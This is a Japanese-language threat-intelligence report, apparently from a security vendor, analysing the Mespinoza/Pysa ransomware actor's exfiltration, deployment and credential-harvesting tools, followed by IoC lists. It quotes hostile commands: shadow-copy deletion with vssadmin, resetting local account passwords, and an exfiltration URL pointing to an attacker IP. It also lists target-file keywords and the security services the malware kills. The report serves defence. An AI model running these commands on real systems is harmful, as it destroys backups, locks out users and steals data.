このアクターは、二重恐喝を試みてか身代金支払い交渉で優位に立つためか、まずPowerShellスクリプトを実行して感染ネットワークから機密性の高いファイルを漏出させ、その後Mespinozaを展開していました。本稿で後述するランサムウェアの身代金要求メモによれば、組織が身代金を支払わない場合、アクターはこれらのファイルを自らのWebサイトにアップロードするか「ダークネット」で販売すると脅しています。このメッセージは、組織に身代金支払いをせまるためにアクターが漏出したファイルを利用していることを示唆しています。

このグループのリークサイトを見てみると、被害者のネットワークから漏出したと思われるファイルアーカイブが公開されていました。Webサイト上の各リークエントリには、組織名、リークに関連する日付、リークされた情報を含むページまたはファイルのZipアーカイブへのリンクが含まれています。本稿執筆時点では187の組織が名を連ねており、これらのリークの日付は2020年4月3日から2021年4月29日までとなっています。またこのサイトには、漏出した25の組織のファイルについて、アクターが書いたと思われる説明があります。この説明の多くでアクターは影響を受けた組織を「パートナー」と呼んでいます(以下の説明例を参照)。

パートナー企業の取引履歴や請求書、銀行書類などを閲覧できるようになっています。

私たちの分析では、このアクターは、潜在的に機微なものたりうるファイルをPowerShellスクリプトを実行して収集していました。このスクリプトは、システム上のファイルを列挙し、特定のファイル拡張子を持つファイルや特定のフォルダ内のファイルは無視し、ファイル名に71個の部分文字列のいずれか1つを含むファイルを送信するものでした。目的のファイルが見つかると、このPowerShellスクリプトはSystem.Net.WebClient.UploadFileメソッドを使って以下の構造をもつURLにファイルをアップロードします。

193.34.166[.]92/upload-wekkmferokmsdderiuheoirhuiewiwnijnfrer?token=<base64のトークンの値>&id=<特定組織用の一意な番号>&fullPath=<漏出対象ファイルのディスク上のパス>

このPowerShellスクリプトはファイル名を表6に記載した71個の部分文字列と比較することで対象ファイルを特定します。この部分文字列は、アクターが財務、口座の認証情報、政府、従業員、その他の個人識別情報(PII)に関する文書など、さまざまな種類の情報を収集することに関心があることを示しています。illegal、fraud、criminalなどの複数の部分文字列からは、被害組織が把握している自らの違法行為に、アクターが関心を寄せていることがわかります。

secret checking illegal bureau billing sec
private saving compromate government payment soc
confident routing privacy securit budget vendor
important finance login unclassified criminal tax
federal agreement credent seed bank emplo
government SWIFT private personal cash hir
security compilation contract partner payroll ssn
fraud report concealed confident password tax
secret confident clandestine mail driver*license i-9
balance hidden investigation letter license*driver w-9
statement clandestine federal passport scans w-4
pay Staf SSA Emplo Confid

表6 漏出対象ファイルの特定に使われている部分文字列

漏出対象ファイル一覧の生成のさい、このPowerShellスクリプトはファイル拡張子に基づいて表7の一覧と一致するファイルは無視します。除外されるファイル拡張子のリストに「.docx」や「.doc」、「.pdf」などのビジネスソフトに関連する一般拡張子は含まれていません。ここから、脅威のアクターが最も関心を持っているファイルタイプを推測することができます。除外リストに含まれるファイルタイプと比較し、脅威アクターが求める機密情報が含まれている可能性が高いことから、脅威アクターは文書ファイルに最も関心を持っていると考えられます。またこの除外拡張子の一覧には誤りがあります。特に「. rpt」というエントリには、ファイル拡張子では使用できないスペース文字が含まれています。

.png .evtx .gif .man .pls .trn .ascx .suo .jss
.jpg .rb .log .template .checksum .ipa .application .vsix .jsm
.txt .htm* .url .xsd .cdf-ms .procedure .cls .wsdl .ico
.py .jar .lnk .aspx .cmd .vb .deploy .tt .function
.pyc .dat .cs .h . rpt .cshtml .DIC .cch .hlp
.dll .ini .json .cab .php .config .rll .chw .ldf
.exe .xrm-ms .bak .Pid .svc .chm .so .epub .map
.js .xml .md .frm .java .msp .table .form .mof
.css .swf .manifest .msi .class .msm .tmp .function .mp3
.msg .nupkg

表7. 対象ファイル特定で無視されるファイル拡張子一覧

最後に、このPowerShellスクリプトは表8に記載した部分文字列に一致するフォルダとサブフォルダに保存されているファイルを無視します。これらのフォルダは、Windows オペレーティングシステム、アプリケーションファイル、ブラウザ、ウイルス対策製品に関連しており、アクターが関心を持つような機密ファイルが含まれている可能性は低いことから、興味の対象から外されていました。

Windows Package Cache PerfLogs
Symantec VMware Recovery
Chrome Microsoft Boot
Mozilla Sophos Program Files
ESET System Volume Information ProgramData

表8. 対象ファイル特定で無視されるフォルダ

展開

Mespinoza を展開するために、アクターは3つのバッチスクリプトを使っていました。これらのバッチスクリプトはPsExecを使ってネットワーク上の他のシステムにファイルをコピーしたり、そこでコマンドを実行したりします。アクターはある1つのシステムを配布拠点として利用し、このシステムから3つのバッチスクリプトを実行して、ネットワーク上の他のシステムに拡散させます。この3つのスクリプトは、以下のタスクを実行します。

  1. PsExecを使って配布サーバーの共有フォルダにあるPowerShellスクリプトを実行する
  2. PsExecを使って copy コマンドを実行し、Mespinoza ランサムウェアを配布サーバーの共有フォルダからネットワーク上の他のシステムのC:Windows\Temp\svchost.exeにコピーする
  3. PsExecを使ってコピーしたランサムウェアサンプルを cmd/c c:windows\temp\svchost.exeで実行する

ランサムウェアの展開に先立つ最初のPowerShellスクリプトは、アンチウイルス無効化、リモートデスクトップ有効化、ランサムウェアの影響最大化をねらったシステム変更をとくに目標としています。まず、ランサムウェア展開前のPowerShellスクリプトではとくにMalwareBytesとWindows Defenderの両方のウイルス対策ソフトウェアをシステムから無効化または削除しようとします。このPowerShellスクリプトは、表9に示すように、表示名に特定の部分文字列を持つサービスの停止を試みます。これらのサービス名からは、データベース、電子メール、バックアップサービスの無効化後にランサムウェアを実行することによりランサムウェアがこれらのサービスが使用するファイルを暗号化できるように、という意図がうかがえます。

SQL Exchange Sharepoint
Oracle Veeam Quest
Citrix Malwarebytes Backup

表9 Mespinoza展開前に最初のPowerShellスクリプトがKillするプロセス

またこのスクリプトは、Windows Management Instrumentationコマンド(wmic)を使い、プロセス名に表10の部分文字列が含まれるプロセスを検出して強制終了させます。このスクリプトがKillしようとしているプロセス名には、一般的なブラウザ、エンドポイントプロテクション、ビジネスソフト、データベース、サーバープロセスなどが含まれています。

Agent Backup apache office manage
Malware QuickBooks web anydesk acronis
Endpoint QBDB vnc protect endpoint
Citrix QBData teamviewer secure autodesk
sql QBCF OCS Inventory segurda database
SQL server monitor center adobe
Veeam citrix security agent java
Core.Service sage def silverlight logmein
Mongo http dev exchange microsoft
solarwinds engine AlwaysOn Framework sprout
firefox chrome barracuda veeam arcserve

表10 Mespinoza展開前に最初のPowerShellスクリプトがKillするプロセス

またこのPowerShellスクリプトは次のコマンドでシステムの復元ポイントとボリュームシャドウコピーの削除を試みます。

Get-ComputerRestorePoint | Delete-ComputerRestorePoint

vssadmin delete shadows /all /quiet

このほか、システム上のローカルユーザーアカウントのパスワードを変更し、システムの可用性にさらに影響を与えようとします。その実行にあたり、PowerShellスクリプトは次のコマンドを実行して、現在のシステムのローカルユーザーアカウントのリストを取得します。

Get-WmiObject -Class Win32_UserAccount -ComputerName $env:COMPUTERNAME -Filter LocalAccount='true' | select -ExpandProperty name

その後、すべてのローカルユーザーアカウントをイテレートし、ユーザー名に「pysa」という文字列をアペンドします。その結果得られた文字列のMD5ハッシュを生成し、その最初の13文字をユーザーパスワードに設定します。このとき実行されるコマンドが以下のコマンドです。

([adsi]"WinNT://$env:COMPUTERNAME/$user").SetPassword("$pass");

ランサムウェアの展開前に実行されるPowerShellスクリプトがエンドシステム上で正常に実行されたかどうかを判断するため、アクターは、このスクリプトが実行されたシステム名をファイルとするファイルを配布システムの共有フォルダに作成するコマンドを追加していました。このコマンドはこのファイルに「I'll be back.」と書き込みます。このメッセージはアクターがランサムウェア展開のために後でこのシステムを再訪するつもりであることを物語っています。この機能を実行するPowerShellコマンドは以下のようになります。このなかの「[redacted]」は、配信システムのIPアドレスを置き換えたものです。

New-Item -Path "\\[redacted]\log$" -Name "$name.txt" -ItemType "file" -Value "I'll be back.";

ランサムウェア

Mespinozaランサムウェアはその開始にあたり、まずPysaというミューテックスを作成します。Pysaは同ランサムウェアファミリの別名でもあります。その後、ファイルシステムを列挙して各フォルダ内のReadme.READMEというファイルに以下の身代金要求メモを書き込みます。

ランサムウェアMespinozaによる身代金要求メモのスクリーンショット
図10 Mespinoza ランサムウェアの身代金要求メモ

図10 Mespinoza ランサムウェアの身代金要求メモ

このランサムウェアは、パスに以下が含まれているフォルダ内のファイルについては身代金メッセージの書き込みを省略し暗号化もしません。

  • :\Windows\
  • \Boot\
  • \BOOTSECT
  • \pagefile
  • \System Volume Information\
  • bootmgr
  • \Recovery
  • \Microsoft

またこのランサムウェアはシステム起動時に身代金要求メモを表示するためにレジストリに値を書き込みます。このランサムウェアは、SOFTWARE_Microsoft_Windows_CurrentVersion_Policies_Systemにある2つのレジストリキーを編集します。具体的にはlegalnoticecaptionの値をPYSAにし、legalnoticetextの値を上記の身代金要求メモの内容に設定します。

このランサムウェアは、RSA公開鍵とAES-CBC暗号を使用してファイルを暗号化した後、暗号化したファイル名を変更してファイル拡張子を.pysaにします。各ファイルを暗号化する前にランサムウェアはファイル拡張子を以下の除外リストと照合します。

.README .docx .myd .backupdb .vfd .vbm
.pysa .xlsx .ndf .bck .avhdx .vrb
.exe .pdf .sdf .bkf .vmcx .win
.dll .db .trc .bkup .vmrs .pst
.sys .db3 .wrk .bup .pbf .mdb
.search-ms .frm .001 .fbk .qic .7z
.sql .ib .acr .mig .sqb .zip
.doc .mdf .bac .spf .tis .rar
.xls .mwb .bak .vhdx .vbk .cad
.dsd .dwg .pla .pln

表11 ファイル拡張子による暗号化除外リスト

このランサムウェアは仕上げに%TEMP%%update.batに以下の内容のバッチスクリプトを作成し、このバッチスクリプトを実行してシステムからランサムウェアとバッチスクリプトを削除します。

関連ツール

このアクターは、遅くとも2021年3月までには、Mespinozaランサムウェアとランサムウェア展開前に使うPowerShellスクリプトを組み合わせて使用していたようです。ランサムウェアの展開前に使われるスクリプトとして、これとは別の「p.ps1」(SHA256:7193d6f3c621596e845694c1348e90ea5a9d99d756c9e9fe5063860cd1ee38)というものも見つかっています。このスクリプトがまず使われて、次にランサムウェアMespinoza/Pysa(SHA256:90cf35560032c380ddaaa05d9ed6baacbc7526a94a992a07fd02f92f371a8e92)が使用されていました。また、このランサムウェアは身代金要求メモで以下のメールアドレスを使用していました。

  • luebegg8024@onionmail[.]org
  • mayakinggw3732@onionmail[.]org
  • lauriabornhat7722@protonmail[.]com

IPアドレス89.44.9[.]229が、2020年9月の第1週にGasketとMagicSocksのサンプルをホストしていたことも突き止めました。同時に、このサーバーには2つのPowerShellスクリプトがホストされており、ここからこれらのツールを使用する脅威のアクターについてさらに詳しく知ることができました。このアクターは、エクスプロイト後のアクティビティで、この両スクリプトをとくに認証情報収集とラテラルムーブに関連して使っていたように見えます。

うち1つのスクリプトファイル名はkeke.ps1です。これはInvoke-Kerberoastを改変したもので、コメントやメッセージを画面に表示する行がすべて削除されています(Write-Verbose)。アクターはInvoke-Kerberoast関数の名前をmommmに変更していました。mommm は実行されると、その結果をパスC:Users\Public\logsのファイルに出力します。集めたハッシュを「John the Ripper(パスワードクラックツールの一種)」形式で出力する機能はスクリプトから削除されていました。どうやらアクターはこのコードを削除してhashcat(別のパスワードクラックツール)出力形式を使いたかったようです。このことから私たちは、当該脅威グループはC:Users\Public\logsファイルを漏出させてそれをhashcatツールにかけ、認証情報を抽出しようとしたものと考えています。

2つ目のPowerShellスクリプトのファイル名はtry.ps1で、ハードコードされたパスC:Users\Publiclsass.zipのファイルを5MBごとのブロックに分割しようとします。このスクリプトは、これらのブロックファイルのそれぞれのファイル名に「[番号].part」を付加して書き込みます。このスクリプトは、このグループがLocal Security Authority Subsystem Service (LSASS)プロセスのメモリをダンプし、小さなファイルにして漏出させ、リモートシステム上の認証情報を収集したいと考えていることを示唆しています。

結論

最近の事例でこの脅威アクターは、リモートデスクトップ経由でシステムにアクセスし、PsExecツールで一連のバッチスクリプトを実行してネットワーク上の他のシステムにランサムウェアをコピー・実行して、ランサムウェアMespinoza(別名Pysa)を展開していました。ランサムウェアを他のシステムに展開する前に、アクターはネットワーク上の他のシステムでPowerShellスクリプトを実行し、目的のファイルを漏出させ、ランサムウェアの影響を最大化させます。

本稿に記載したようなMespinoza攻撃は、複数のランサムウェア脅威アクターやファミリにいま見られるさまざまな傾向を浮き彫りにするものです。こうした傾向があるおかげで、攻撃はたやすくシンプルに行うことができます。他のランサムウェア同様、Mespinozaはインターネットに向けられたRDPサーバーという、いってみれば表玄関から発信されることから、時間とコストのかかるフィッシングメールの作成やソーシャルエンジニアリング、ソフトウェアの脆弱性の利用などの作業も必要ありません。さらに、オンラインで無料で利用できる多くのオープンソースのツールを使用したり、アクターが侵害したシステム上にもとからある手近な組み込みツールを使用することで、コストを削減し、最終的にかかる費用や利益に貢献しています。

インターネット上のRDPサーバー発見は簡単に自動化できます。2021年のCortex Xpanse Attack Surface Threat Reportによると、グローバル企業で見つかった最も一般的なセキュリティ問題はRDPで、これがセキュリティ問題全体の32%を占めています。

パロアルトネットワークスの次世代ファイアウォールをご利用のお客様は、以下の保護機能により、Mespinoza、Gasket、MagicSocksから保護されています。

  • 既知のGasket HTTP C2トラフィックはすべて脅威防御で検出されます。
  • 既知の Mespinoza、Gasket、および MagicSocks のサンプルはすべて、WildFireで「悪意があるもの」と判定されます。
  • 既知のGasketおよびMagicSocksのC2ドメインはすべて、Advanced URL Filteringで「悪意があるもの」と判定され、PAN-DBで「Command & Control」に分類されます。
  • GasketおよびMagicSocks C2の既知のドメインはすべてDNS Securityで検出されます。

Cortex XDRのお客様は、既知のMespinoza、Gasket、およびMagicSocksのすべてのサンプルに対するWildFireのマルウェア判定とGasketのサンプルへのローカル分析により保護されています。

AutoFocusのお客様は、MespinozaおよびGasketタグを介して、この攻撃で使用されたランサムウェアおよび関連ツールを追跡できます。

Cortex Xpanseのお客様はネットワークセキュリティの攻撃面を評価・管理し、システムインベントリを作成できます。

IoC

GasketのSHA256値

  • 356671767c368e455f2261f7f76d9ee9bd0b522172490845b89281224ab5dbad
  • 5d8459c2170c296288e2c0dd9a77f5d973b22213af8fa0d276a8794ffe8dc159
  • 64b9b5874820ca26344c919b518d6c0599a991aaf1943a519da98d294bebf01f
  • a30e605fa404e3fcbfc50cb94482618add30f8d4dbd9b38ed595764760eb2e80
  • b0629dcb1b95b7d7d65e1dad7549057c11b06600c319db494548c88ec690551e
  • ccfa2c14159a535ff1e5a42c5dcfb2a759a1f4b6a410028fd8b4640b4f7983c1
  • 0bcbc1faec0c44d157d5c8170be4764f290d34078516da5dcd8b5039ef54f5ca
  • 85c8ccf45cdb84e99cce74c376ce73fdf08fdd6d0a7809702e317c18a016b388
  • 8b5cdbd315da292bbbeb9ff4e933c98f0e3de37b5b813e87a6b9796e10fbe9e8
  • 701791cd5ed3e3b137dd121a0458977099bb194a4580f364802914483c72b3ce
  • aa2faf0f41cc1710caf736f9c966bf82528a97631e94c7a5d23eadcbe0a2b586
  • d591f43fc34163c9adbcc98f51bb2771223cc78081e98839ca419e6efd711820
  • ef31b968c71b0e21d9b0674e3200f5a6eb1ebf6700756d4515da7800c2ee6a0f
  • f8a5065eb53b1e3ac81748176f43dce1f9e06ea8db1ecfa38c146e8ea89fcc0b
  • 12b927235ab1a5eb87222ef34e88d4aababe23804ae12dc0807ca6b256c7281c
  • 045510eb6c86fc2d966aded8722f4c0e73690b5078771944ec1a842e50af4410
  • 6eb0455b0ab3073c88fcba0cad92f73cc53459f94008e57100dc741c23cf41a3
  • 2697bbe0e96c801ff615a97c2258ac27eec015077df5222d52f3fbbcdca901f5
  • f5cb94aa3e1a4a8b6d107d12081e0770e95f08a96f0fc4d5214e8226d71e7eb7
  • 3a6ddc4022f6abe7bdb95a3ba491aaf7f9713bcb6db1fbaa299f7c68ab04d4f4
  • 7b5027bd231d8c62f70141fa4f50098d056009b46fa2fac16183d1321be04768
  • e47a632bfd08e72d15517170b06c2de140f5f237b2f370e12fbb3ad4ff75f649
  • 8a9205709c6a1e5923c66b63addc1f833461df2c7e26d9176993f14de2a39d5b
  • 0fd13ece461511fbc129f6584d45fea920200116f41d6097e4dffeb965b19ef4
  • 6d1fde9a5963a672f5e4b35cc7b8eaa8520d830eb30c67fadf8ab82aeb28b81a
  • 89b9ba56ebe73362ef83e7197f85f6480c1e85384ad0bc2a76505ba97a681010
  • c9bed25ab291953872c90126ce5283ce1ad5269ff8c1bca74a42468db7417045
  • af97b35d9e30db252034129b7b3e4e6584d1268d00cde9654024ce460526f61e
  • 1b888acb22a8326bd5f80f840390182d00e0c8db416d29d042358b48d1220438
  • 9986b6881fc1df8f119a6ed693a7858c606aed291b0b2f2b3d9ed866337bdbde
  • ea3b35384e803bef3c02a8f27aea2c2a40f9a4d2726113e1c5f2bc3be9c41322
  • d9c753b859414e4b38a0841423b159590c47ad580249b0cd3c99a0ecc6644914
  • 30bd30642bf83abd74b8b2312ea606e0f192b0d61351f1445d1a1458414992d3
  • 140224fb7af2d235e9c5c758e8acaee34c912e62fad625442e5ca4102d11e9e7
  • c2ef84710937b622f35b2b8fab9f9aa86b718ba7bc77a40b33b92e40747676b5

GasketのC2

  • 160.20.147[.]184
  • 172.96.189[.]167
  • 172.96.189[.]22
  • 172.96.189[.]246
  • 185.183.96[.]147
  • 185.185.27[.]3
  • 185.186.245[.]85
  • 193.239.84[.]205
  • 193.239.85[.]55
  • 194.187.249[.]102
  • 194.187.249[.]138
  • 194.5.249[.]137
  • 194.5.249[.]138
  • 194.5.249[.]139
  • 194.5.249[.]18
  • 194.5.249[.]180
  • 194.5.250[.]151
  • 194.5.250[.]162
  • 194.5.250[.]216
  • 198.252.100[.]37
  • 23.83.133[.]136
  • 37.120.140[.]184
  • 37.120.140[.]247
  • 37.120.145[.]208
  • 37.221.113[.]66
  • 45.89.175[.]239
  • 45.147.228[.]49
  • 45.147.229[.]29
  • 45.147.230[.]162
  • 45.147.230[.]212
  • 86.106.20[.]144
  • 89.38.225[.]208
  • 89.41.26[.]173
  • accounting-consult[.]xyz
  • blitzz[.]best
  • cvar99[.]xyz
  • dowax[.]xyz
  • english-breakfast[.]xyz
  • englishdialoge[.]xyz
  • englishdict[.]xyz
  • firefox-search[.]xyz
  • ntservicepack[.]com
  • productoccup[.]tech
  • pump-online[.]xyz
  • reportservicefuture[.]website
  • sbvjhs[.]club
  • sbvjhs[.]xyz
  • serchtext[.]xyz
  • spm[.]best
  • starhouse[.]xyz
  • statistics-update[.]xyz
  • transnet[.]wiki
  • visual-translator[.]xyz
  • wiki-text[.]xyz
  • ccenter[.]tech
  • dowax[.]xyz
  • english-breakfast[.]xyz

MagicSocksのSHA256値

  • 2f190f0a3a0f34113affc9edd02b9cacd0eb32cadb1d30a772aa0108e607dd5e
  • d0b9124bc424982f52ac2af2ebbfbd343f224549543fcf77645c00e4c2c394a0
  • 04c44183426102b395679b009dfa194b648ce541dfb7a04f8e6f76571d8ac5d9
  • 0962cff47f985d5d8202b3cf73752f7e340f87ca82496618c28d37a666376d42
  • f354b12bc070db12f1e6e9bb60acbb14e067f3469a1d560127256c999e80fd39
  • 0b29bce75c909b67f674b64cc42c5f6b57efae61bbfb071420cc47aa32b4881c

MagicSocksのC2

  • creatordampfe[.]xyz
  • 104.168.164[.]195
  • 172.96.189[.]86
  • 142.79.237[.]163
  • 23.227.206[.]158

ランサムウェア展開前に使われるスクリプト

  • 897f5a1f4194f5c874547fdcd265de745a1e46da8077c7b68a3ea20f0a404bd0
  • 85761bf03d96111b90954cc8a5d38e250097ec649dd82ebd20946d03dec16714
  • a30f82a95519a55b58c25fa726934dad421ec5dac382be640a9ff016d9da44c7
  • 7193d6f3c621596e845694c1348e90ea5a9d99d756c9e9fe5063860cd1ee3838
  • 0951ca2d4ab7bec16a4145f757a59b0d1acdf3343e862ffa88f2d3f2243362bb

関連Mespinoza/PYSAのSHA256値

  • 90cf35560032c380ddaaa05d9ed6baacbc7526a94a992a07fd02f92f371a8e92
  • 44f1def68aef34687bfacf3668e56873f9d603fc6741d5da1209cc55bdc6f1f9

関連PowerShellスクリプトのSHA256値

  • f6ccf438c73e4e5ec91c62ffaf6a06aa316fc1ac8efbe903a4d689af47e14877
  • 5c31e73c7796e37a6f604fa0a588a8d3c9289191a7d60c47c8a5ac3f58e24233